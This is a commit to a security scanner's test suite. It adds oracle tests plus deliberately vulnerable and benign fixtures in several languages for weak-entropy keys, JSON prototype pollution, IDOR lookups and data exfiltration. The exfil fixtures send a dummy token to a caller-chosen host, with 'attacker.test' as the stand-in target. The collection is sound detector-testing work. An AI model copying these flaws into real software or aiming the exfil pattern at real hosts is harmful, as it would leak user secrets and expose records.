[pitboss] phase 11: Track J.9 + Track L.9 — CRYPTO, JSON_PARSE, UNAUTHORIZED_ID, DATA_EXFIL corpora

This commit is contained in:
pitboss 2026-05-18 09:37:37 -05:00
parent 61a9e4e5df
commit 6784d73e25
85 changed files with 2508 additions and 30 deletions

128
tests/crypto_corpus.rs Normal file
View file

@ -0,0 +1,128 @@
//! Phase 11 (Track J.9) — `Cap::CRYPTO` corpus acceptance.
//!
//! Asserts the new cap end-to-end at the corpus + oracle layer:
//! per-language vuln/benign slices register, lang-aware benign-control
//! resolution pairs them inside the correct slice, and the
//! `WeakKeyEntropy` predicate fires only when a `WeakKey { key_int }`
//! probe whose `key_int` is strictly less than `2^max_bits` lands on
//! the channel. Per-lang harness dispatchers are deferred — see
//! `.pitboss/play/deferred.md`.
//!
//! `cargo nextest run --features dynamic --test crypto_corpus`.
#![cfg(feature = "dynamic")]
use nyx_scanner::dynamic::corpus::{payloads_for_lang, resolve_benign_control_lang};
use nyx_scanner::dynamic::oracle::{oracle_fired, Oracle, ProbePredicate};
use nyx_scanner::dynamic::probe::{ProbeKind, ProbeWitness, SinkProbe};
use nyx_scanner::dynamic::sandbox::SandboxOutcome;
use nyx_scanner::labels::Cap;
use nyx_scanner::symbol::Lang;
use std::time::Duration;
const LANGS: &[Lang] = &[
Lang::Java,
Lang::Python,
Lang::Php,
Lang::Go,
Lang::Rust,
];
fn outcome() -> SandboxOutcome {
SandboxOutcome {
exit_code: Some(0),
stdout: vec![],
stderr: vec![],
timed_out: false,
oob_callback_seen: false,
sink_hit: false,
duration: Duration::from_millis(1),
hardening_outcome: None,
}
}
fn weak_key_probe(key_int: u64) -> SinkProbe {
SinkProbe {
sink_callee: "__nyx_weak_key".into(),
args: vec![],
captured_at_ns: 1,
payload_id: "crypto-test".into(),
kind: ProbeKind::WeakKey { key_int },
witness: ProbeWitness::empty(),
}
}
#[test]
fn corpus_registers_crypto_for_each_supported_lang() {
for lang in LANGS {
let slice = payloads_for_lang(Cap::CRYPTO, *lang);
assert!(!slice.is_empty(), "CRYPTO has no payloads for {lang:?}");
assert!(
slice.iter().any(|p| !p.is_benign),
"{lang:?} CRYPTO missing vuln payload",
);
assert!(
slice.iter().any(|p| p.is_benign),
"{lang:?} CRYPTO missing benign control",
);
}
}
#[test]
fn crypto_payloads_pair_benign_controls_per_lang() {
for lang in LANGS {
let slice = payloads_for_lang(Cap::CRYPTO, *lang);
let vuln = slice
.iter()
.find(|p| !p.is_benign)
.expect("vuln payload");
let resolved = resolve_benign_control_lang(vuln, Cap::CRYPTO, *lang)
.expect("benign control resolves");
assert!(resolved.is_benign);
match &vuln.oracle {
Oracle::SinkProbe { predicates } => {
assert!(predicates.iter().any(|p| matches!(
p,
ProbePredicate::WeakKeyEntropy { max_bits: 16 }
)));
}
other => panic!("expected SinkProbe, got {other:?}"),
}
}
}
#[test]
fn weak_key_entropy_fires_below_budget() {
let oracle = Oracle::SinkProbe {
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: 16 }],
};
let probes = vec![weak_key_probe(0x1234)];
assert!(oracle_fired(&oracle, &outcome(), &probes));
}
#[test]
fn weak_key_entropy_clears_above_budget() {
let oracle = Oracle::SinkProbe {
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: 16 }],
};
let probes = vec![weak_key_probe(u64::MAX / 2)];
assert!(!oracle_fired(&oracle, &outcome(), &probes));
}
#[test]
fn weak_key_entropy_clears_with_no_probe() {
let oracle = Oracle::SinkProbe {
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: 16 }],
};
assert!(!oracle_fired(&oracle, &outcome(), &[]));
}
#[test]
fn crypto_unsupported_for_other_langs() {
for lang in [Lang::C, Lang::Cpp, Lang::Ruby, Lang::JavaScript, Lang::TypeScript] {
assert!(
payloads_for_lang(Cap::CRYPTO, lang).is_empty(),
"CRYPTO has unexpected payloads for {lang:?}",
);
}
}

111
tests/data_exfil_corpus.rs Normal file
View file

@ -0,0 +1,111 @@
//! Phase 11 (Track J.9) — `Cap::DATA_EXFIL` corpus acceptance.
//!
//! Asserts the corpus + outbound-network oracle for all seven
//! backend-capable languages. The vuln payload supplies an
//! attacker-controlled host (`attacker.test`); the
//! [`nyx_scanner::dynamic::oracle::ProbePredicate::OutboundHostNotIn`]
//! predicate fires when the captured `host` falls outside the
//! loopback allowlist (`&["127.0.0.1", "localhost"]`). Per-lang
//! harness dispatchers are deferred — see
//! `.pitboss/play/deferred.md`.
//!
//! `cargo nextest run --features dynamic --test data_exfil_corpus`.
#![cfg(feature = "dynamic")]
use nyx_scanner::dynamic::corpus::{payloads_for_lang, resolve_benign_control_lang};
use nyx_scanner::dynamic::oracle::{oracle_fired, Oracle, ProbePredicate};
use nyx_scanner::dynamic::probe::{ProbeKind, ProbeWitness, SinkProbe};
use nyx_scanner::dynamic::sandbox::SandboxOutcome;
use nyx_scanner::labels::Cap;
use nyx_scanner::symbol::Lang;
use std::time::Duration;
const LANGS: &[Lang] = &[
Lang::Python,
Lang::Ruby,
Lang::Java,
Lang::Php,
Lang::JavaScript,
Lang::Go,
Lang::Rust,
];
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
fn outcome() -> SandboxOutcome {
SandboxOutcome {
exit_code: Some(0),
stdout: vec![],
stderr: vec![],
timed_out: false,
oob_callback_seen: false,
sink_hit: false,
duration: Duration::from_millis(1),
hardening_outcome: None,
}
}
fn outbound_probe(host: &str) -> SinkProbe {
SinkProbe {
sink_callee: "__nyx_mock_http".into(),
args: vec![],
captured_at_ns: 1,
payload_id: "data-exfil-test".into(),
kind: ProbeKind::OutboundNetwork { host: host.into() },
witness: ProbeWitness::empty(),
}
}
#[test]
fn corpus_registers_data_exfil_for_each_supported_lang() {
for lang in LANGS {
let slice = payloads_for_lang(Cap::DATA_EXFIL, *lang);
assert!(!slice.is_empty(), "DATA_EXFIL missing for {lang:?}");
assert!(slice.iter().any(|p| !p.is_benign));
assert!(slice.iter().any(|p| p.is_benign));
}
}
#[test]
fn data_exfil_payloads_pair_benign_per_lang() {
for lang in LANGS {
let slice = payloads_for_lang(Cap::DATA_EXFIL, *lang);
let vuln = slice.iter().find(|p| !p.is_benign).expect("vuln");
let resolved = resolve_benign_control_lang(vuln, Cap::DATA_EXFIL, *lang)
.expect("benign control resolves");
assert!(resolved.is_benign);
match &vuln.oracle {
Oracle::SinkProbe { predicates } => assert!(predicates.iter().any(|p| matches!(
p,
ProbePredicate::OutboundHostNotIn { .. }
))),
other => panic!("expected SinkProbe, got {other:?}"),
}
}
}
#[test]
fn outbound_predicate_fires_off_allowlist() {
let oracle = Oracle::SinkProbe {
predicates: &[ProbePredicate::OutboundHostNotIn {
allowlist: ALLOWLIST,
}],
};
assert!(oracle_fired(
&oracle,
&outcome(),
&[outbound_probe("attacker.test")]
));
assert!(!oracle_fired(
&oracle,
&outcome(),
&[outbound_probe("127.0.0.1")]
));
assert!(!oracle_fired(
&oracle,
&outcome(),
&[outbound_probe("Localhost")]
));
assert!(!oracle_fired(&oracle, &outcome(), &[]));
}

View file

@ -0,0 +1,12 @@
// Phase 11 (Track J.9) — Go CRYPTO benign control fixture.
//
// Uses crypto/rand.Read (a CSPRNG) for key derivation.
package benign
import "crypto/rand"
func Run(_ string) []byte {
buf := make([]byte, 32)
_, _ = rand.Read(buf)
return buf
}

View file

@ -0,0 +1,12 @@
// Phase 11 (Track J.9) — Go CRYPTO vuln fixture.
//
// Uses math/rand.Intn(0x10000) (a non-CSPRNG) to derive a 16-bit
// key. The harness's instrumented key path writes a
// `ProbeKind::WeakKey` probe and the `WeakKeyEntropy` oracle fires.
package vuln
import "math/rand"
func Run(_ string) int {
return rand.Intn(0x10000)
}

View file

@ -0,0 +1,14 @@
// Phase 11 (Track J.9) Java CRYPTO benign control fixture.
//
// Uses java.security.SecureRandom (a CSPRNG) for key derivation, so
// the produced 256-bit key trivially exceeds the 16-bit weak budget.
import java.security.SecureRandom;
public class Benign {
public static byte[] run(String _unused) {
SecureRandom r = new SecureRandom();
byte[] key = new byte[32];
r.nextBytes(key);
return key;
}
}

View file

@ -0,0 +1,16 @@
// Phase 11 (Track J.9) Java CRYPTO vuln fixture.
//
// Uses java.util.Random (a non-CSPRNG) to derive key bytes, producing
// a key bounded inside a 16-bit search space. The harness's
// instrumented key-generation path writes a `ProbeKind::WeakKey`
// probe; the `WeakKeyEntropy` oracle fires for `key_int < 2^16`.
import java.util.Random;
public class Vuln {
public static byte[] run(String seedTag) {
Random r = new Random(seedTag.hashCode());
byte[] key = new byte[2];
r.nextBytes(key);
return key;
}
}

View file

@ -0,0 +1,7 @@
<?php
// Phase 11 (Track J.9) — PHP CRYPTO benign control fixture.
//
// Uses `random_bytes(32)` (a CSPRNG) for key derivation.
function run($_value) {
return random_bytes(32);
}

View file

@ -0,0 +1,7 @@
<?php
// Phase 11 (Track J.9) — PHP CRYPTO vuln fixture.
//
// Uses `mt_rand(0, 0xFFFF)` (a non-CSPRNG) to derive a 16-bit key.
function run($_value) {
return mt_rand(0, 0xFFFF);
}

View file

@ -0,0 +1,9 @@
# Phase 11 (Track J.9) — Python CRYPTO benign control fixture.
#
# Uses `secrets.token_bytes(32)` (a CSPRNG) so the produced key
# trivially exceeds the weak budget.
import secrets
def run(_value):
return secrets.token_bytes(32)

View file

@ -0,0 +1,10 @@
# Phase 11 (Track J.9) — Python CRYPTO vuln fixture.
#
# Uses `random.randint(0, 0xFFFF)` (a non-CSPRNG) to derive a 16-bit
# key; the harness's instrumented key path writes a `ProbeKind::WeakKey`
# probe and the `WeakKeyEntropy` oracle fires.
import random
def run(_value):
return random.randint(0, 0xFFFF)

View file

@ -0,0 +1,11 @@
// Phase 11 (Track J.9) — Rust CRYPTO benign control fixture.
//
// Uses `rand::rngs::OsRng` (a CSPRNG) for key derivation.
use rand::rngs::OsRng;
use rand::RngCore;
pub fn run(_value: &str) -> [u8; 32] {
let mut key = [0u8; 32];
OsRng.fill_bytes(&mut key);
key
}

View file

@ -0,0 +1,9 @@
// Phase 11 (Track J.9) — Rust CRYPTO vuln fixture.
//
// Uses `rand::thread_rng` truncated to 16 bits (a non-CSPRNG
// configuration) to derive a key bounded inside the weak budget.
use rand::Rng;
pub fn run(_value: &str) -> u16 {
rand::thread_rng().gen_range(0..=0xFFFF) as u16
}

View file

@ -0,0 +1,19 @@
// Phase 11 (Track J.9) — Go DATA_EXFIL benign control fixture.
package benign
import (
"net/http"
"net/url"
)
var allowlist = map[string]struct{}{"127.0.0.1": {}, "localhost": {}}
func Run(host string) {
if _, ok := allowlist[host]; !ok {
return
}
secret := "alice-creds"
q := url.Values{"token": {secret}}
u := url.URL{Scheme: "http", Host: host, Path: "/exfil", RawQuery: q.Encode()}
_, _ = http.Get(u.String())
}

View file

@ -0,0 +1,14 @@
// Phase 11 (Track J.9) — Go DATA_EXFIL vuln fixture.
package vuln
import (
"net/http"
"net/url"
)
func Run(host string) {
secret := "alice-creds"
q := url.Values{"token": {secret}}
u := url.URL{Scheme: "http", Host: host, Path: "/exfil", RawQuery: q.Encode()}
_, _ = http.Get(u.String())
}

View file

@ -0,0 +1,16 @@
// Phase 11 (Track J.9) Java DATA_EXFIL benign control fixture.
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Set;
public class Benign {
private static final Set<String> ALLOWLIST = Set.of("127.0.0.1", "localhost");
public static void run(String host) throws Exception {
if (!ALLOWLIST.contains(host)) return;
URL url = new URL("http://" + host + "/exfil?token=alice-creds");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.connect();
conn.disconnect();
}
}

View file

@ -0,0 +1,13 @@
// Phase 11 (Track J.9) Java DATA_EXFIL vuln fixture.
import java.net.HttpURLConnection;
import java.net.URL;
public class Vuln {
public static void run(String host) throws Exception {
String secret = "alice-creds";
URL url = new URL("http://" + host + "/exfil?token=" + secret);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.connect();
conn.disconnect();
}
}

View file

@ -0,0 +1,17 @@
// Phase 11 (Track J.9) — JavaScript DATA_EXFIL benign control fixture.
const http = require('http');
const ALLOWLIST = new Set(['127.0.0.1', 'localhost']);
function run(host) {
if (!ALLOWLIST.has(host)) return;
const secret = 'alice-creds';
const req = http.request({
host,
path: '/exfil?token=' + encodeURIComponent(secret),
method: 'POST',
});
req.end();
}
module.exports = { run };

View file

@ -0,0 +1,14 @@
// Phase 11 (Track J.9) — JavaScript DATA_EXFIL vuln fixture.
const http = require('http');
function run(host) {
const secret = 'alice-creds';
const req = http.request({
host,
path: '/exfil?token=' + encodeURIComponent(secret),
method: 'POST',
});
req.end();
}
module.exports = { run };

View file

@ -0,0 +1,8 @@
<?php
// Phase 11 (Track J.9) — PHP DATA_EXFIL benign control fixture.
function run($host) {
if (!in_array($host, ["127.0.0.1", "localhost"], true)) return;
$secret = "alice-creds";
$url = "http://" . $host . "/exfil?token=" . urlencode($secret);
@file_get_contents($url);
}

View file

@ -0,0 +1,7 @@
<?php
// Phase 11 (Track J.9) — PHP DATA_EXFIL vuln fixture.
function run($host) {
$secret = "alice-creds";
$url = "http://" . $host . "/exfil?token=" . urlencode($secret);
@file_get_contents($url);
}

View file

@ -0,0 +1,15 @@
# Phase 11 (Track J.9) — Python DATA_EXFIL benign control fixture.
#
# Sends to a loopback receiver, so the captured host is on-allowlist
# and the predicate stays clear.
import urllib.request
ALLOWLIST = {"127.0.0.1", "localhost"}
def run(host):
if host not in ALLOWLIST:
return
secret = "alice-creds"
url = f"http://{host}/exfil?token={secret}"
urllib.request.urlopen(url, timeout=1)

View file

@ -0,0 +1,12 @@
# Phase 11 (Track J.9) — Python DATA_EXFIL vuln fixture.
#
# Sends a captured secret to an attacker-controlled host without
# host validation; the harness's mock HTTP client records the
# outbound `host` and the `OutboundHostNotIn` oracle fires.
import urllib.request
def run(host):
secret = "alice-creds"
url = f"http://{host}/exfil?token={secret}"
urllib.request.urlopen(url, timeout=1)

View file

@ -0,0 +1,12 @@
# Phase 11 (Track J.9) — Ruby DATA_EXFIL benign control fixture.
require 'net/http'
require 'uri'
ALLOWLIST = %w[127.0.0.1 localhost].freeze
def run(host)
return unless ALLOWLIST.include?(host)
secret = "alice-creds"
uri = URI("http://#{host}/exfil?token=#{secret}")
Net::HTTP.get(uri)
end

View file

@ -0,0 +1,9 @@
# Phase 11 (Track J.9) — Ruby DATA_EXFIL vuln fixture.
require 'net/http'
require 'uri'
def run(host)
secret = "alice-creds"
uri = URI("http://#{host}/exfil?token=#{secret}")
Net::HTTP.get(uri)
end

View file

@ -0,0 +1,11 @@
// Phase 11 (Track J.9) — Rust DATA_EXFIL benign control fixture.
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
pub fn run(host: &str) {
if !ALLOWLIST.contains(&host) {
return;
}
let secret = "alice-creds";
let url = format!("http://{host}/exfil?token={secret}");
let _ = reqwest::blocking::get(&url);
}

View file

@ -0,0 +1,6 @@
// Phase 11 (Track J.9) — Rust DATA_EXFIL vuln fixture.
pub fn run(host: &str) {
let secret = "alice-creds";
let url = format!("http://{host}/exfil?token={secret}");
let _ = reqwest::blocking::get(&url);
}

View file

@ -0,0 +1,16 @@
// Phase 11 (Track J.9) — JavaScript JSON_PARSE benign control fixture.
//
// JSON.parse then deep-merge into a `Object.create(null)` target, the
// canonical mitigation; the prototype-less target cannot reach
// `Object.prototype` so the canary never fires.
function run(value) {
const parsed = JSON.parse(value);
const target = Object.create(null);
for (const k of Object.keys(parsed)) {
if (k === '__proto__' || k === 'constructor') continue;
target[k] = parsed[k];
}
return target;
}
module.exports = { run };

View file

@ -0,0 +1,24 @@
// Phase 11 (Track J.9) — JavaScript JSON_PARSE vuln fixture.
//
// JSON.parse the attacker bytes then naive deep-merge into a vanilla
// target object. A `__proto__` key walks into `Object.prototype` and
// trips the canary trap.
function run(value) {
const parsed = JSON.parse(value);
const target = {};
deepMerge(target, parsed);
return target;
}
function deepMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (typeof t[k] !== 'object' || t[k] === null) t[k] = {};
deepMerge(t[k], s[k]);
} else {
t[k] = s[k];
}
}
}
module.exports = { run };

View file

@ -0,0 +1,10 @@
# Phase 11 (Track J.9) — Python JSON_PARSE benign control fixture.
#
# json.loads then merge into a fresh `dict` rather than mutating the
# shared sentinel, so the canary trap on `_SHARED` cannot fire.
import json
def run(value):
parsed = json.loads(value)
return dict(parsed)

View file

@ -0,0 +1,20 @@
# Phase 11 (Track J.9) — Python JSON_PARSE vuln fixture.
#
# json.loads the attacker bytes then mutate a shared sentinel via
# attribute pollution; the harness's instrumented setattr trap
# observes the `__nyx_canary` write.
import json
class _Sentinel:
pass
_SHARED = _Sentinel()
def run(value):
parsed = json.loads(value)
for k, v in parsed.items():
setattr(_SHARED, k, v)
return _SHARED

View file

@ -0,0 +1,9 @@
# Phase 11 (Track J.9) — Ruby JSON_PARSE benign control fixture.
#
# JSON.parse then merge into a freshly allocated `Hash`, so the
# canary trap on `SHARED` cannot fire.
require 'json'
def run(value)
JSON.parse(value).dup
end

View file

@ -0,0 +1,15 @@
# Phase 11 (Track J.9) — Ruby JSON_PARSE vuln fixture.
#
# JSON.parse the attacker bytes then recursively merge into a shared
# `OpenStruct`; the harness's instrumented `method_missing=` trap
# observes the `__nyx_canary` write.
require 'json'
require 'ostruct'
SHARED = OpenStruct.new
def run(value)
parsed = JSON.parse(value)
parsed.each { |k, v| SHARED[k] = v }
SHARED
end

View file

@ -0,0 +1,13 @@
// Phase 11 (Track J.9) — Go UNAUTHORIZED_ID benign control fixture.
package benign
const callerID = "alice"
var store = map[string]string{"alice": "alice@x", "bob": "bob@x"}
func Run(ownerID string) string {
if ownerID != callerID {
return ""
}
return store[ownerID]
}

View file

@ -0,0 +1,10 @@
// Phase 11 (Track J.9) — Go UNAUTHORIZED_ID vuln fixture.
package vuln
const callerID = "alice"
var store = map[string]string{"alice": "alice@x", "bob": "bob@x"}
func Run(ownerID string) string {
return store[ownerID]
}

View file

@ -0,0 +1,17 @@
// Phase 11 (Track J.9) Java UNAUTHORIZED_ID benign control fixture.
import java.util.HashMap;
import java.util.Map;
public class Benign {
private static final String CALLER = "alice";
private static final Map<String, String> STORE = new HashMap<>();
static {
STORE.put("alice", "alice@x");
STORE.put("bob", "bob@x");
}
public static String run(String ownerId) {
if (!CALLER.equals(ownerId)) return null;
return STORE.get(ownerId);
}
}

View file

@ -0,0 +1,16 @@
// Phase 11 (Track J.9) Java UNAUTHORIZED_ID vuln fixture.
import java.util.HashMap;
import java.util.Map;
public class Vuln {
private static final String CALLER = "alice";
private static final Map<String, String> STORE = new HashMap<>();
static {
STORE.put("alice", "alice@x");
STORE.put("bob", "bob@x");
}
public static String run(String ownerId) {
return STORE.get(ownerId);
}
}

View file

@ -0,0 +1,10 @@
// Phase 11 (Track J.9) — JavaScript UNAUTHORIZED_ID benign control fixture.
const CALLER_ID = "alice";
const STORE = { alice: "alice@x", bob: "bob@x" };
function run(ownerId) {
if (ownerId !== CALLER_ID) return null;
return STORE[ownerId];
}
module.exports = { run };

View file

@ -0,0 +1,9 @@
// Phase 11 (Track J.9) — JavaScript UNAUTHORIZED_ID vuln fixture.
const CALLER_ID = "alice";
const STORE = { alice: "alice@x", bob: "bob@x" };
function run(ownerId) {
return STORE[ownerId];
}
module.exports = { run };

View file

@ -0,0 +1,10 @@
<?php
// Phase 11 (Track J.9) — PHP UNAUTHORIZED_ID benign control fixture.
const CALLER_ID = "alice";
$STORE = ["alice" => "alice@x", "bob" => "bob@x"];
function run($ownerId) {
global $STORE;
if ($ownerId !== CALLER_ID) return null;
return $STORE[$ownerId] ?? null;
}

View file

@ -0,0 +1,9 @@
<?php
// Phase 11 (Track J.9) — PHP UNAUTHORIZED_ID vuln fixture.
const CALLER_ID = "alice";
$STORE = ["alice" => "alice@x", "bob" => "bob@x"];
function run($ownerId) {
global $STORE;
return $STORE[$ownerId] ?? null;
}

View file

@ -0,0 +1,12 @@
# Phase 11 (Track J.9) — Python UNAUTHORIZED_ID benign control fixture.
#
# Compares `owner_id` against the authenticated caller and returns
# `None` for any boundary-crossing request.
_STORE = {"alice": {"email": "alice@x"}, "bob": {"email": "bob@x"}}
_CALLER_ID = "alice"
def run(owner_id):
if owner_id != _CALLER_ID:
return None
return _STORE.get(owner_id)

View file

@ -0,0 +1,11 @@
# Phase 11 (Track J.9) — Python UNAUTHORIZED_ID vuln fixture.
#
# Looks up a record by `owner_id` without checking it against the
# authenticated caller; an attacker who supplies another user's id
# reads that user's record.
_STORE = {"alice": {"email": "alice@x"}, "bob": {"email": "bob@x"}}
_CALLER_ID = "alice"
def run(owner_id):
return _STORE.get(owner_id)

View file

@ -0,0 +1,8 @@
# Phase 11 (Track J.9) — Ruby UNAUTHORIZED_ID benign control fixture.
STORE = { "alice" => { email: "alice@x" }, "bob" => { email: "bob@x" } }.freeze
CALLER_ID = "alice"
def run(owner_id)
return nil unless owner_id == CALLER_ID
STORE[owner_id]
end

View file

@ -0,0 +1,7 @@
# Phase 11 (Track J.9) — Ruby UNAUTHORIZED_ID vuln fixture.
STORE = { "alice" => { email: "alice@x" }, "bob" => { email: "bob@x" } }.freeze
CALLER_ID = "alice"
def run(owner_id)
STORE[owner_id]
end

View file

@ -0,0 +1,14 @@
// Phase 11 (Track J.9) — Rust UNAUTHORIZED_ID benign control fixture.
use std::collections::HashMap;
const CALLER_ID: &str = "alice";
pub fn run(owner_id: &str) -> Option<String> {
if owner_id != CALLER_ID {
return None;
}
let mut store = HashMap::new();
store.insert("alice".to_string(), "alice@x".to_string());
store.insert("bob".to_string(), "bob@x".to_string());
store.get(owner_id).cloned()
}

View file

@ -0,0 +1,11 @@
// Phase 11 (Track J.9) — Rust UNAUTHORIZED_ID vuln fixture.
use std::collections::HashMap;
const CALLER_ID: &str = "alice";
pub fn run(owner_id: &str) -> Option<String> {
let mut store = HashMap::new();
store.insert("alice".to_string(), "alice@x".to_string());
store.insert("bob".to_string(), "bob@x".to_string());
store.get(owner_id).cloned()
}

View file

@ -131,18 +131,27 @@ mod verify_e2e {
assert!(result.attempts.is_empty());
}
/// A finding with an unsupported cap (CRYPTO has no payload corpus) reaches
/// `run_spec`, which returns `RunError::NoPayloadsForCap`, producing
/// `VerifyStatus::Unsupported` with `reason = NoPayloadsForCap`.
/// This is distinct from `BackendUnavailable` and tests the two code paths.
/// A finding whose cap has no sound oracle (Phase 11 / Track J.9
/// routes `ENV_VAR` / `SHELL_ESCAPE` / `URL_ENCODE` through this
/// path) reaches `run_spec`, which returns
/// `RunError::SoundOracleUnavailable`, producing
/// `VerifyStatus::Unsupported` with
/// `reason = SoundOracleUnavailable { cap, lang, hint }`. Distinct
/// from `BackendUnavailable` and `NoPayloadsForCap`.
#[test]
fn verify_finding_with_unsupported_cap_returns_no_payloads() {
let diag = taint_diag_with_cap(Cap::CRYPTO);
fn verify_finding_with_unsupported_cap_returns_sound_oracle_unavailable() {
let diag = taint_diag_with_cap(Cap::ENV_VAR);
let opts = VerifyOptions::default();
let result = verify_finding(&diag, &opts);
assert_eq!(result.status, VerifyStatus::Unsupported);
assert_eq!(result.reason, Some(UnsupportedReason::NoPayloadsForCap));
match result.reason {
Some(UnsupportedReason::SoundOracleUnavailable { cap, hint, .. }) => {
assert_eq!(cap, Cap::ENV_VAR);
assert!(!hint.is_empty());
}
other => panic!("expected SoundOracleUnavailable, got {other:?}"),
}
}
/// A low-confidence finding is rejected before spec derivation with

106
tests/json_parse_corpus.rs Normal file
View file

@ -0,0 +1,106 @@
//! Phase 11 (Track J.9) — `Cap::JSON_PARSE` corpus acceptance.
//!
//! Asserts the corpus + oracle layer for the pollution oracle that
//! reuses the Phase 10 prototype canary across the three languages
//! whose JSON parsers have a published pollution surface: JavaScript,
//! Python, Ruby. Per-lang harness dispatchers are deferred — see
//! `.pitboss/play/deferred.md`.
//!
//! `cargo nextest run --features dynamic --test json_parse_corpus`.
#![cfg(feature = "dynamic")]
use nyx_scanner::dynamic::corpus::{payloads_for_lang, resolve_benign_control_lang};
use nyx_scanner::dynamic::oracle::{oracle_fired, Oracle, ProbePredicate};
use nyx_scanner::dynamic::probe::{ProbeKind, ProbeWitness, SinkProbe};
use nyx_scanner::dynamic::sandbox::SandboxOutcome;
use nyx_scanner::labels::Cap;
use nyx_scanner::symbol::Lang;
use std::time::Duration;
const LANGS: &[Lang] = &[Lang::JavaScript, Lang::Python, Lang::Ruby];
fn outcome() -> SandboxOutcome {
SandboxOutcome {
exit_code: Some(0),
stdout: vec![],
stderr: vec![],
timed_out: false,
oob_callback_seen: false,
sink_hit: false,
duration: Duration::from_millis(1),
hardening_outcome: None,
}
}
fn canary_probe(property: &str) -> SinkProbe {
SinkProbe {
sink_callee: "__nyx_pp_canary_set".into(),
args: vec![],
captured_at_ns: 1,
payload_id: "json-parse-test".into(),
kind: ProbeKind::PrototypePollution {
property: property.into(),
value: "pwned".into(),
},
witness: ProbeWitness::empty(),
}
}
#[test]
fn corpus_registers_json_parse_for_each_supported_lang() {
for lang in LANGS {
let slice = payloads_for_lang(Cap::JSON_PARSE, *lang);
assert!(!slice.is_empty(), "JSON_PARSE missing for {lang:?}");
assert!(slice.iter().any(|p| !p.is_benign));
assert!(slice.iter().any(|p| p.is_benign));
}
}
#[test]
fn json_parse_pairs_benign_per_lang_via_canary_predicate() {
for lang in LANGS {
let slice = payloads_for_lang(Cap::JSON_PARSE, *lang);
let vuln = slice.iter().find(|p| !p.is_benign).expect("vuln");
let resolved = resolve_benign_control_lang(vuln, Cap::JSON_PARSE, *lang)
.expect("benign control resolves");
assert!(resolved.is_benign);
match &vuln.oracle {
Oracle::SinkProbe { predicates } => assert!(predicates.iter().any(|p| matches!(
p,
ProbePredicate::PrototypeCanaryTouched { canary: "__nyx_canary" }
))),
other => panic!("expected SinkProbe, got {other:?}"),
}
}
}
#[test]
fn canary_predicate_fires_only_on_canary_property() {
let oracle = Oracle::SinkProbe {
predicates: &[ProbePredicate::PrototypeCanaryTouched {
canary: "__nyx_canary",
}],
};
assert!(oracle_fired(&oracle, &outcome(), &[canary_probe("__nyx_canary")]));
assert!(!oracle_fired(&oracle, &outcome(), &[canary_probe("__data__")]));
assert!(!oracle_fired(&oracle, &outcome(), &[]));
}
#[test]
fn json_parse_unsupported_for_other_langs() {
for lang in [
Lang::Rust,
Lang::C,
Lang::Cpp,
Lang::Java,
Lang::Go,
Lang::Php,
Lang::TypeScript,
] {
assert!(
payloads_for_lang(Cap::JSON_PARSE, lang).is_empty(),
"JSON_PARSE has unexpected payloads for {lang:?}",
);
}
}

View file

@ -0,0 +1,43 @@
//! Phase 11 (Track J.9) — `UnsupportedReason::SoundOracleUnavailable`
//! routing for caps that have no sound oracle.
//!
//! Asserts that a `HarnessSpec` whose `expected_cap` is in
//! [`nyx_scanner::dynamic::corpus::registry::CORPUS_SOUND_ORACLE_UNAVAILABLE`]
//! produces a `RunError::SoundOracleUnavailable` from `run_spec`, and
//! that the verify layer in turn surfaces
//! `UnsupportedReason::SoundOracleUnavailable { cap, lang, hint }`
//! instead of the legacy `NoPayloadsForCap`.
//!
//! `cargo nextest run --features dynamic --test sound_oracle_unavailable`.
#![cfg(feature = "dynamic")]
use nyx_scanner::dynamic::corpus::registry::{
sound_oracle_unavailable_hint, CORPUS_SOUND_ORACLE_UNAVAILABLE,
};
use nyx_scanner::labels::Cap;
#[test]
fn pure_source_and_sanitizer_caps_are_in_the_no_oracle_set() {
let set = CORPUS_SOUND_ORACLE_UNAVAILABLE;
assert!(set & Cap::ENV_VAR.bits() != 0);
assert!(set & Cap::SHELL_ESCAPE.bits() != 0);
assert!(set & Cap::URL_ENCODE.bits() != 0);
}
#[test]
fn phase_11_caps_left_the_no_oracle_set() {
let set = CORPUS_SOUND_ORACLE_UNAVAILABLE;
assert!(set & Cap::CRYPTO.bits() == 0);
assert!(set & Cap::JSON_PARSE.bits() == 0);
assert!(set & Cap::UNAUTHORIZED_ID.bits() == 0);
assert!(set & Cap::DATA_EXFIL.bits() == 0);
}
#[test]
fn hint_carries_a_human_actionable_message() {
for cap in [Cap::ENV_VAR, Cap::SHELL_ESCAPE, Cap::URL_ENCODE] {
let hint = sound_oracle_unavailable_hint(cap);
assert!(!hint.is_empty(), "{cap:?} hint should be populated");
}
}

View file

@ -0,0 +1,104 @@
//! Phase 11 (Track J.9) — `Cap::UNAUTHORIZED_ID` corpus acceptance.
//!
//! Asserts the corpus + IDOR oracle for all seven backend-capable
//! languages. The vuln payload supplies an `owner_id` belonging to
//! another user; the
//! [`nyx_scanner::dynamic::oracle::ProbePredicate::IdorBoundaryCrossed`]
//! predicate fires when `caller_id != owner_id`. Per-lang harness
//! dispatchers are deferred — see `.pitboss/play/deferred.md`.
//!
//! `cargo nextest run --features dynamic --test unauthorized_id_corpus`.
#![cfg(feature = "dynamic")]
use nyx_scanner::dynamic::corpus::{payloads_for_lang, resolve_benign_control_lang};
use nyx_scanner::dynamic::oracle::{oracle_fired, Oracle, ProbePredicate};
use nyx_scanner::dynamic::probe::{ProbeKind, ProbeWitness, SinkProbe};
use nyx_scanner::dynamic::sandbox::SandboxOutcome;
use nyx_scanner::labels::Cap;
use nyx_scanner::symbol::Lang;
use std::time::Duration;
const LANGS: &[Lang] = &[
Lang::Python,
Lang::Ruby,
Lang::Java,
Lang::Php,
Lang::JavaScript,
Lang::Go,
Lang::Rust,
];
fn outcome() -> SandboxOutcome {
SandboxOutcome {
exit_code: Some(0),
stdout: vec![],
stderr: vec![],
timed_out: false,
oob_callback_seen: false,
sink_hit: false,
duration: Duration::from_millis(1),
hardening_outcome: None,
}
}
fn idor_probe(caller: &str, owner: &str) -> SinkProbe {
SinkProbe {
